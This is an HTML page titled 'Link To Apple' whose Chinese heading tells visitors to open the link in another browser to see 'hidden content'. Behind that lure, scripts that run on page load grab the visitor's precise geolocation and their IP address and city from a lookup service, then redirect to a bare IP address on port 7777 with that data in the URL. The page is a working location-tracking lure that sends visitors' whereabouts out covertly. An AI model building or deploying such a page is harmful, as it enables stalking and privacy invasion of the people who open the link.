<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Link To Apple</title>
    <script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<img src="../images/a1.gif">
<h1>请粘贴到其他浏览器查看隐藏内容</h1>
<script>
    var options = {
        enableHighAccuracy: true,
        timeout: 5000,
        maximumAge: 0
    };
    function success(pos) {
        var crd = pos.coords;

        console.log('Your current position is:');
        console.log('Latitude : ' + crd.latitude);
        console.log('Longitude: ' + crd.longitude);
        console.log('More or less ' + crd.accuracy + ' meters.');
        window.location.href="http://120.79.215.41:7777/?id="+'Latitude : ' + crd.latitude+'Longitude: ' + crd.longitude;

    };
    function error(err) {
        console.warn('ERROR(' + err.code + '): ' + err.message);
    };

    navigator.geolocation.getCurrentPosition(success, error, options);

</script>
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script type="text/javascript">
    window.location.href="http://120.79.215.41:7777/?id="+returnCitySN["cip"]+','+returnCitySN["cname"];
</script>
</body>
</html>
